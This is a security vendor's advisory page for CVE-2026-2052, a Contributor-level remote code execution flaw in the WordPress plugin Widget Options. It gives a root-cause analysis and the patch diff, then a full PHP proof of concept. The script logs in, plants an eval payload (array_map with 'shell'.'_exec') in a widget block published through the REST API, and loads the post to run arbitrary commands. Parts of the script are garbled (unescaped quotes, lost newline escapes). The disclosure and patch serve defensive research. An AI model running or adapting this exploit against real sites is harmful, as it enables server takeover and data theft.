Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-2052: Widget Options <= 4.2.2 – Authenticated (Contributor+) Remote Code Execution via Display Logic (widget-options)

CVE ID CVE-2026-2052
Severity High (CVSS 8.8)
CWE 94
Vulnerable Version 4.2.2
Patched Version 4.2.3
Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2052:

This vulnerability allows authenticated attackers with Contributor-level access or above to execute arbitrary PHP code on the server. The flaw exists in the Display Logic feature of Widget Options plugin versions up to 4.2.2. The severity is critical with a CVSS score of 8.8.

Root Cause: The plugin uses eval() on user-supplied Display Logic expressions in the widgetopts_safe_eval() function (extras.php, line 495). The validation function widgetopts_validate_expression() (extras.php, line 836) attempts to restrict allowed functions via an allowlist. However, the allowlist and token-based checks are insufficient. An attacker can bypass them using array_map combined with string concatenation (e.g., array_map(‘file’.’_put_contents’, …)) or by calling methods like :: or -> with concatenated strings. The expression validation in widgetopts_validate_expression() did not properly block method/static calls or concatenation-based obfuscation. Additionally, the gutenberg-toolbar.php file (line 203) only strips Display Logic for non-administrator users from classic widget attributes, not from the extended_widget_opts_block attribute, allowing contributors to inject arbitrary PHP via block editor widgets.

Exploitation: An attacker authenticates with a Contributor-level account. They create or edit a post in Gutenberg, add a widget block, and set the Display Logic field (extended_widget_opts_block attribute) to a PHP expression that bypasses the allowlist. For example, using array_map with concatenated function names like array_map(‘file’.’_put_contents’, …) or calling static methods with concatenated strings. The expression is passed through widgetopts_safe_eval() which calls eval() on it. The attacker can leverage this to write arbitrary code to a file or execute system commands via shell_exec or similar functions, even though those appear blocked, by using concatenation or array_map to bypass token checks.

Patch Analysis: The patch in version 4.2.3 makes multiple changes. First, it adds authorization checks to several AJAX handlers (ajax-functions.php lines 31-35, extras.php lines 146-151) requiring ‘manage_options’ capability, preventing non-admin users from triggering expression validation. Second, it fixes the capability check in extras.php line 498 from ‘administrator’ to ‘manage_options’ and in gutenberg-toolbar.php (line 206, 225, 378) to use ‘manage_options’, tightening who can inject Display Logic. Third, extras.php adds a new helper widgetopts_adjacent_significant_token() (line 832) and rewrites the validation loop to block method calls ( -> and :: and ?-> ), dynamic function calls via variables or strings (e.g., ‘$fn()’ or ‘(‘fi’.’le_put_contents’)()’), and language constructs like eval, include, require directly. It also adds block for T_ENCAPSED_AND_WHITESPACE and subscript-then-call patterns. Fourth, gutenberg-toolbar.php adds stripping of extended_widget_opts_block attribute for non-admin users (line 287-291) and adds handling of legacy freeform format (start_widgetopts comments) with preg_replace_callback to remove logic from those as well. The patch also fixes the migration submenu page and adds permission checks to widgetopts_page_search, widgetopts_taxonomy_search, and other AJAX functions.

Impact: Successful exploitation allows Remote Code Execution on the server. An attacker can execute arbitrary PHP commands, write files, read sensitive data, create admin accounts, or completely compromise the WordPress installation. This leads to full site takeover, data theft, and potential lateral movement to other systems on the same server.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/widget-options/includes/ajax-functions.php
+++ b/widget-options/includes/ajax-functions.php
@@ -28,6 +28,11 @@
 		return;
 	}

+	if (!current_user_can('manage_options')) {
+		wp_send_json_error('You do not have permission to manage settings.', 403);
+		exit;
+	}
+
 	switch ($_POST['method']) {
 		case 'activate':
 		case 'deactivate':
@@ -141,8 +146,14 @@
 	add_action('wp_ajax_widgetopts_hideRating', 'widgetopts_ajax_hide_rating');
 endif;

+
 function widgetopts_ajax_validate_expression()
 {
+	if (!current_user_can('manage_options')) {
+		wp_send_json_error('You do not have permission to validate expressions.', 403);
+		exit;
+	}
+
 	if (!wp_verify_nonce($_POST['nonce'], 'widgetopts-expression-nonce')) {
 		echo json_encode(['response' => 'failed', 'message' => 'Security check failed. Please refresh the page and try again.']);
 		die();
--- a/widget-options/includes/extras.php
+++ b/widget-options/includes/extras.php
@@ -495,8 +495,7 @@
 function widgetopts_safe_eval($expression)
 {
     if (widgetopts_is_widget_or_post_preview()) {
-        // Always return true for previews unless the user is an administrator
-        if (!current_user_can('administrator')) {
+        if (!current_user_can('manage_options')) {
             return true;
         }
     }
@@ -609,9 +608,20 @@
         'wordwrap',

         // Array Manipulation
+        'array_merge',
+        'array_diff',
+        'array_keys',
+        'array_values',
         'in_array',
         'count',
         'sizeof',
+        'array_slice',
+        'array_push',
+        'array_pop',
+        'array_intersect',
+        'array_unique',
+        'array_column',
+        'array_reverse',

         // Math Functions
         'abs',
@@ -684,8 +694,7 @@
         'pathinfo',
         'basename',
         'dirname',
-        'file_exists',
-        'readfile',
+        'file_exists'
     ];
 }

@@ -820,6 +829,28 @@
 }

 /**
+ * Return the nearest significant token relative to $index, skipping whitespace and comments.
+ *
+ * @param array $tokens  Token array from token_get_all().
+ * @param int   $index   Starting position.
+ * @param int   $dir     1 = look forward (next), -1 = look backward (prev).
+ * @return array|string|null The token, or null if none found.
+ */
+function widgetopts_adjacent_significant_token(array $tokens, int $index, int $dir)
+{
+    $skip  = [T_WHITESPACE, T_COMMENT, T_DOC_COMMENT];
+    $count = count($tokens);
+    for ($i = $index + $dir; $dir === 1 ? $i < $count : $i >= 0; $i += $dir) {
+        $t = $tokens[$i];
+        if (is_array($t) && in_array($t[0], $skip, true)) {
+            continue;
+        }
+        return $t;
+    }
+    return null;
+}
+
+/**
  * Validate PHP code against allowed functions and detect obfuscated calls.
  *
  * @param string $code The PHP code to validate.
@@ -836,19 +867,42 @@

     $tokens = token_get_all($code);
     $is_safe = true;
-    $last_token = null;
+
+    // Language constructs that are NOT T_STRING — the allowlist loop would silently skip them.
+    // T_EVAL / T_INCLUDE* / T_REQUIRE* are also caught by the regex in widgetopts_validate_expression,
+    // but blocking them here provides an independent second layer.
+    $forbidden_constructs = [T_EVAL, T_INCLUDE, T_INCLUDE_ONCE, T_REQUIRE, T_REQUIRE_ONCE, T_EXIT, T_GOTO];

     foreach ($tokens as $index => $token) {
         if (is_array($token)) {
-            $token_type = $token[0];
+            $token_type  = $token[0];
             $token_value = $token[1];

-            // **Fix: Properly detect function calls inside conditions**
-            if ($token_type === T_STRING) {
-                $function_name = strtolower($token_value);
-                $next_token = $tokens[$index + 1] ?? null;
+            // Block language constructs (eval, include, require, exit, goto).
+            // These produce dedicated token types, not T_STRING, so the allowlist
+            // check below would silently pass them.
+            if (in_array($token_type, $forbidden_constructs, true)) {
+                $is_safe = false;
+                break;
+            }

-                if ($next_token === '(' || (is_array($next_token) && $next_token[0] === T_WHITESPACE && ($tokens[$index + 2] ?? null) === '(')) {
+            // Detect function calls — skip non-significant tokens before '('
+            if ($token_type === T_STRING) {
+                $next = widgetopts_adjacent_significant_token($tokens, $index, 1);
+                if ($next === '(') {
+                    // Block method/static/nullsafe calls: $obj->func(), Class::func(), $obj?->func()
+                    // The identifier looks like an allowed function name but is actually a method —
+                    // the allowlist covers only direct (free) function calls.
+                    $prev = widgetopts_adjacent_significant_token($tokens, $index, -1);
+                    $method_ops = [T_OBJECT_OPERATOR, T_DOUBLE_COLON];
+                    if (defined('T_NULLSAFE_OBJECT_OPERATOR')) {
+                        $method_ops[] = T_NULLSAFE_OBJECT_OPERATOR; // PHP 8.0+ (?->)
+                    }
+                    if (is_array($prev) && in_array($prev[0], $method_ops, true)) {
+                        $is_safe = false;
+                        break;
+                    }
+                    $function_name = strtolower($token_value);
                     if (!in_array($function_name, array_map('strtolower', $allowed_functions))) {
                         $is_safe = false;
                         break;
@@ -856,22 +910,30 @@
                 }
             }

-            // **Fix: Detect if T_ENCAPSED_AND_WHITESPACE is being treated as code**
+            // Detect if T_ENCAPSED_AND_WHITESPACE is being treated as code
             if ($token_type === T_ENCAPSED_AND_WHITESPACE) {
                 $is_safe = false;
                 break;
             }

-            // **Fix: Dynamic Function Execution (`$func()` or `['test']()`)**
+            // Dynamic call via variable or string literal: `$fn()` / `'func'()`
+            // Skip non-significant tokens between the token and '('
             if ($token_type === T_VARIABLE || $token_type === T_CONSTANT_ENCAPSED_STRING) {
-                $next_token = $tokens[$index + 1] ?? null;
-                if ($next_token === '(') {
+                $next = widgetopts_adjacent_significant_token($tokens, $index, 1);
+                if ($next === '(') {
                     $is_safe = false;
                     break;
                 }
             }
-
-            $last_token = $token;
+        } elseif ($token === ']' || $token === ')') {
+            // Subscript-then-call  `$arr['key']()`  and
+            // Concat-then-call     `('fi'.'le_put_contents')()`
+            // Skip non-significant tokens (whitespace / comments) before '('
+            $next = widgetopts_adjacent_significant_token($tokens, $index, 1);
+            if ($next === '(') {
+                $is_safe = false;
+                break;
+            }
         }
     }

--- a/widget-options/includes/snippets/class-snippets-admin.php
+++ b/widget-options/includes/snippets/class-snippets-admin.php
@@ -117,7 +117,7 @@

         // Migration page (hidden from menu, accessible via direct link)
         self::$migration_hook = add_submenu_page(
-            null,
+            '',
             __('Display Logic Migration', 'widget-options'),
             __('Display Logic Migration', 'widget-options'),
             WIDGETOPTS_MIGRATION_PERMISSIONS,
--- a/widget-options/includes/widgets/gutenberg/gutenberg-toolbar.php
+++ b/widget-options/includes/widgets/gutenberg/gutenberg-toolbar.php
@@ -203,7 +203,7 @@

 		// Legacy display logic: admins keep as-is, non-admins have it stripped
 		if (isset($instance['extended_widget_opts-' . $obj->id]['class'])) {
-			if (!current_user_can('administrator')) {
+			if (!current_user_can('manage_options')) {
 				$instance['extended_widget_opts-' . $obj->id]['class']['logic'] = '';
 			}
 		}
@@ -222,7 +222,7 @@
 	}

 	// Admins: don't touch legacy logic at all (no parse/serialize cycle)
-	if (current_user_can('administrator')) {
+	if (current_user_can('manage_options')) {
 		return $post;
 	}

@@ -231,7 +231,8 @@
 		return $post;
 	}

-	if (strpos($post->post_content, 'extended_widget_opts') === false) {
+	if (strpos($post->post_content, 'extended_widget_opts') === false
+		&& strpos($post->post_content, 'start_widgetopts') === false) {
 		return $post;
 	}

@@ -283,6 +284,11 @@
 		$block['attrs']['extended_widget_opts']['class']['logic'] = '';
 	}

+	if (isset($block['attrs']['extended_widget_opts_block']['class']['logic'])
+		&& $block['attrs']['extended_widget_opts_block']['class']['logic'] !== '') {
+		$block['attrs']['extended_widget_opts_block']['class']['logic'] = '';
+	}
+
 	if (isset($block['innerBlocks']) && !empty($block['innerBlocks'])) {
 		foreach ($block['innerBlocks'] as &$inner_block) {
 			widgetopt_modify_block_attributes($inner_block, $old_blocks_lookup);
@@ -299,11 +305,62 @@
  */
 function widgetopts_strip_logic_from_blocks(&$blocks, &$changed) {
 	foreach ($blocks as &$block) {
+		// Standard Gutenberg block attributes
 		if (isset($block['attrs']['extended_widget_opts']['class']['logic'])
 			&& $block['attrs']['extended_widget_opts']['class']['logic'] !== '') {
 			$block['attrs']['extended_widget_opts']['class']['logic'] = '';
 			$changed = true;
 		}
+		if (isset($block['attrs']['extended_widget_opts_block']['class']['logic'])
+			&& $block['attrs']['extended_widget_opts_block']['class']['logic'] !== '') {
+			$block['attrs']['extended_widget_opts_block']['class']['logic'] = '';
+			$changed = true;
+		}
+
+		// Legacy freeform format: <!--start_widgetopts {"class":{"logic":"..."}} end_widgetopts-->
+		// parse_blocks() stores this raw in innerContent (blockName = null, attrs = []),
+		// so the attribute checks above never fire for it.
+		if (empty($block['blockName']) && !empty($block['innerContent'])) {
+			foreach ($block['innerContent'] as &$chunk) {
+				if (!is_string($chunk) || strpos($chunk, 'start_widgetopts') === false) {
+					continue;
+				}
+				// Permissive outer pattern so crafted payloads like
+				// {...} <!--start_widgetopts end_widgetopts--> (parsing-differential
+				// attack) are also matched.
+				$chunk = preg_replace_callback(
+					'/<!--start_widgetoptss+([sS]*?)s*end_widgetopts-->/U',
+					static function ($m) use (&$changed) {
+						$raw  = trim($m[1]);
+						$data = json_decode($raw, true);
+
+						if (!is_array($data)) {
+							// Trailing garbage after valid JSON (crafted payload).
+							// Find the last } and try decoding up to that point.
+							$pos = strrpos($raw, '}');
+							if ($pos !== false) {
+								$data = json_decode(substr($raw, 0, $pos + 1), true);
+							}
+						}
+
+						if (!is_array($data)) {
+							// Completely unrecoverable — remove entire marker.
+							$changed = true;
+							return '';
+						}
+
+						if (isset($data['class']['logic']) && $data['class']['logic'] !== '') {
+							$data['class']['logic'] = '';
+							$changed = true;
+						}
+						return '<!--start_widgetopts ' . wp_json_encode($data) . ' end_widgetopts-->';
+					},
+					$chunk
+				);
+			}
+			unset($chunk);
+		}
+
 		if (!empty($block['innerBlocks'])) {
 			widgetopts_strip_logic_from_blocks($block['innerBlocks'], $changed);
 		}
@@ -318,7 +375,7 @@
  * @since 5.1
  */
 add_filter('wp_insert_post_data', function($data, $postarr) {
-	if (current_user_can('administrator')) {
+	if (current_user_can('manage_options')) {
 		return $data;
 	}

@@ -326,11 +383,17 @@
 		return $data;
 	}

-	if (strpos($data['post_content'], 'extended_widget_opts') === false) {
+	// wp_insert_post_data fires BEFORE wp_unslash() inside wp_insert_post(),
+	// so post_content still carries magic-quote backslashes (" and ').
+	// Unslash before processing so parse_blocks sees clean JSON.
+	$content = wp_unslash($data['post_content']);
+
+	if (strpos($content, 'extended_widget_opts') === false
+		&& strpos($content, 'start_widgetopts') === false) {
 		return $data;
 	}

-	$new_blocks = parse_blocks($data['post_content']);
+	$new_blocks = parse_blocks($content);
 	if (!is_array($new_blocks) || empty($new_blocks)) {
 		return $data;
 	}
@@ -338,7 +401,9 @@
 	$changed = false;
 	widgetopts_strip_logic_from_blocks($new_blocks, $changed);
 	if ($changed) {
-		$data['post_content'] = serialize_blocks($new_blocks);
+		// Re-slash so WordPress's subsequent wp_unslash() inside wp_insert_post()
+		// produces the correct clean string when writing to the database.
+		$data['post_content'] = wp_slash(serialize_blocks($new_blocks));
 	}
 	return $data;
 }, 10, 2);
@@ -995,12 +1060,18 @@
 /**
  * Gutenberg ajax functions
  */
+function widgetopts_verify_gutenberg_ajax()
+{
+	if (!current_user_can('edit_posts')) {
+		wp_send_json_error('Permission denied.', 403);
+		exit;
+	}
+}
+
 function widgetopts_get_types()
 {
+	widgetopts_verify_gutenberg_ajax();
 	global $widgetopts_types;
-	if (!(current_user_can('edit_pages') || current_user_can('edit_posts') || current_user_can('edit_theme_options'))) {
-		die;
-	}

 	wp_send_json_success(((!empty($widgetopts_types)) ? $widgetopts_types : widgetopts_global_types()));
 	die;
@@ -1010,10 +1081,8 @@

 function widgetopts_get_taxonomies()
 {
+	widgetopts_verify_gutenberg_ajax();
 	global $widgetopts_taxonomies;
-	if (!(current_user_can('edit_pages') || current_user_can('edit_posts') || current_user_can('edit_theme_options'))) {
-		die;
-	}

 	wp_send_json_success(((!empty($widgetopts_taxonomies)) ? $widgetopts_taxonomies : widgetopts_global_taxonomies()));
 	die;
@@ -1022,9 +1091,7 @@

 function widgetopts_acf_get_field_groups()
 {
-	if (!(current_user_can('edit_pages') || current_user_can('edit_posts') || current_user_can('edit_theme_options'))) {
-		die;
-	}
+	widgetopts_verify_gutenberg_ajax();

 	$fields = array();
 	if (function_exists('acf_get_field_groups')) {
@@ -1050,9 +1117,7 @@

 function widgetopts_get_legacy_data()
 {
-	if (!(current_user_can('edit_pages') || current_user_can('edit_posts') || current_user_can('edit_theme_options'))) {
-		die;
-	}
+	widgetopts_verify_gutenberg_ajax();

 	if (isset($_POST['id_base'])) {
 		wp_send_json_success(array());
@@ -1076,15 +1141,9 @@

 function widgetopts_get_settings_ajax()
 {
-	if (!(current_user_can('edit_pages') || current_user_can('edit_posts') || current_user_can('edit_theme_options'))) {
-		die;
-	}
+	widgetopts_verify_gutenberg_ajax();
 	$settings = widgetopts_get_settings();

-	if (!current_user_can('administrator')) {
-		$settings['logic'] = 'deactivate';
-	}
-
 	wp_send_json_success($settings);
 	die;
 }
@@ -1092,9 +1151,7 @@

 function widgetopts_get_snippets_ajax()
 {
-	if (!(current_user_can('edit_pages') || current_user_can('edit_posts') || current_user_can('edit_theme_options'))) {
-		die;
-	}
+	widgetopts_verify_gutenberg_ajax();

 	$search = isset($_POST['search']) ? sanitize_text_field($_POST['search']) : '';

@@ -1123,9 +1180,7 @@

 function widgetopts_get_pages()
 {
-	if (!(current_user_can('edit_pages') || current_user_can('edit_posts') || current_user_can('edit_theme_options'))) {
-		die;
-	}
+	widgetopts_verify_gutenberg_ajax();

 	$pages = [];

@@ -1156,9 +1211,7 @@

 function widgetopts_get_terms()
 {
-	if (!(current_user_can('edit_pages') || current_user_can('edit_posts') || current_user_can('edit_theme_options'))) {
-		die;
-	}
+	widgetopts_verify_gutenberg_ajax();

 	$terms = array();

@@ -1178,12 +1231,9 @@

 function widgetopts_get_users()
 {
+	widgetopts_verify_gutenberg_ajax();
 	global $wp_version;

-	if (!(current_user_can('edit_pages') || current_user_can('edit_posts') || current_user_can('edit_theme_options'))) {
-		die;
-	}
-
 	$authors = array();

 	$args = array();
@@ -1212,9 +1262,7 @@

 function widgetopts_ajax_roles_search_block()
 {
-	if (!(current_user_can('edit_pages') || current_user_can('edit_posts') || current_user_can('edit_theme_options'))) {
-		die;
-	}
+	widgetopts_verify_gutenberg_ajax();
 	$response = [
 		'results' => [],
 		'pagination' => ['more' => false]
--- a/widget-options/includes/widgets/option-tabs/visibility.php
+++ b/widget-options/includes/widgets/option-tabs/visibility.php
@@ -412,6 +412,11 @@
 // Page Options
 function widgetopts_ajax_page_search()
 {
+    if (!current_user_can('edit_posts')) {
+        wp_send_json_error('You do not have permission to search pages.', 403);
+        exit;
+    }
+
     global $wp_version;

     $response = [
@@ -449,6 +454,11 @@
 // Taxonomy Options
 function widgetopts_ajax_taxonomy_search()
 {
+    if (!current_user_can('edit_posts')) {
+        wp_send_json_error('You do not have permission to search taxonomies.', 403);
+        exit;
+    }
+
     $response = [
         'results' => [],
         'pagination' => ['more' => false]
--- a/widget-options/plugin.php
+++ b/widget-options/plugin.php
@@ -4,7 +4,7 @@
  * Plugin Name: Widget Options
  * Plugin URI: https://widget-options.com/
  * Description: Additional Widget and Block options for better widget and block control. Turn Widget Options into an even more flexible widget and block area manager. Upgrade to <strong><a href="http://widget-options.com/" target="_blank" >Widget Options Extended</a></strong> today!
- * Version: 4.2.2
+ * Version: 4.2.3
  * Author: Widget Options Team
  * Author URI: https://widget-options.com/
  * Text Domain: widget-options
@@ -92,7 +92,7 @@

 			// Plugin version.
 			if (!defined('WIDGETOPTS_VERSION')) {
-				define('WIDGETOPTS_VERSION', '4.2.2');
+				define('WIDGETOPTS_VERSION', '4.2.3');
 			}

 			// Plugin Folder Path.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2052 - Widget Options <= 4.2.2 - Authenticated (Contributor+) Remote Code Execution via Display Logic

// Usage: php poc.php --target https://example.com --username contributor --password secret --cmd 'echo file_put_contents;'

// Parse arguments
$options = getopt('', ['target:', 'username:', 'password:', 'cmd:']);
if (empty($options['target']) || empty($options['username']) || empty($options['password']) || empty($options['cmd'])) {
    die("Usage: php poc.php --target https://example.com --username contributor --password secret --cmd 'echo file_put_contents;'n");
}

$target = rtrim($options['target'], '/');
$username = $options['username'];
$password = $options['password'];
$cmd = $options['cmd'];

// Step 1: Login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die("Login failed or unexpected redirect.n");
}
echo "Logged in successfully.n";

// Step 2: Get WP nonce for editing posts
curl_setopt($ch, CURLOPT_URL, $target . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
preg_match('/wp-api-fetch-nonce" content="([^"]+)/', $response, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
if (empty($nonce)) {
    // Fallback: try getting nonce from admin-ajax
    curl_setopt($ch, CURLOPT_URL, $target . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        'action' => 'wp_ajax_widgetopts_get_settings',
        'nonce' => '' // triggers nonce error, but we can parse from response
    ]));
    $response = curl_exec($ch);
    preg_match('/"nonce":"([^"]+)/', $response, $nonce_matches);
    $nonce = $nonce_matches[1] ?? '';
}
if (empty($nonce)) {
    die("Could not retrieve nonce.n");
}
echo "Got nonce: $noncen";

// Step 3: Create a new post with a widget block containing malicious Display Logic
// The exploit uses array_map with concatenated function names to bypass the allowlist
// Example payload: array_map('shell'.'_exec', array('id'))
$payload = 'array_map('shell'.'_exec', array('' . $cmd . ''))';

// Construct block data for Gutenberg REST API
$block_content = '<!-- wp:widget-options/extended-widget-opts {"widgetOpensInNewTab":false,"extended_widget_opts_block":{"class":{"logic":"' . $payload . '"}}} -->';
$block_content .= '<!-- wp:core/paragraph --><p>Test</p><!-- /wp:core/paragraph -->';
$block_content .= '<!-- /wp:widget-options/extended-widget-opts -->';

$post_data = [
    'title' => 'RCE Test - Widget Options CVE',
    'content' => $block_content,
    'status' => 'publish',
    'categories' => [],
    'meta' => [],
    'wpcom_public_coming_soon' => 0
];

// Use REST API to create post
curl_setopt($ch, CURLOPT_URL, $target . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code !== 201) {
    echo "Failed to create post. Response:n$responsen";
    // Fallback: try direct admin-ajax expression validation
    echo "Trying direct expression validation via AJAX...n";
    // The expression validation function widgetopts_ajax_validate_expression might be accessible
    // if user has edit_posts capability (which Contributors do)
    curl_setopt($ch, CURLOPT_URL, $target . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        'action' => 'widgetopts_validate_expression',
        'nonce' => $nonce,
        'expression' => $payload
    ]));
    $response = curl_exec($ch);
    echo "Expression validation response: $responsen";
    exit;
}

$post_id = json_decode($response, true)['id'] ?? '';
echo "Post created with ID: $post_idn";

// Step 4: Visit the post to trigger eval()
curl_setopt($ch, CURLOPT_URL, $target . '/?p=' . $post_id);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
echo "Response from post:n$responsen";

// Clean up
unlink('/tmp/cookies.txt');
curl_close($ch);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School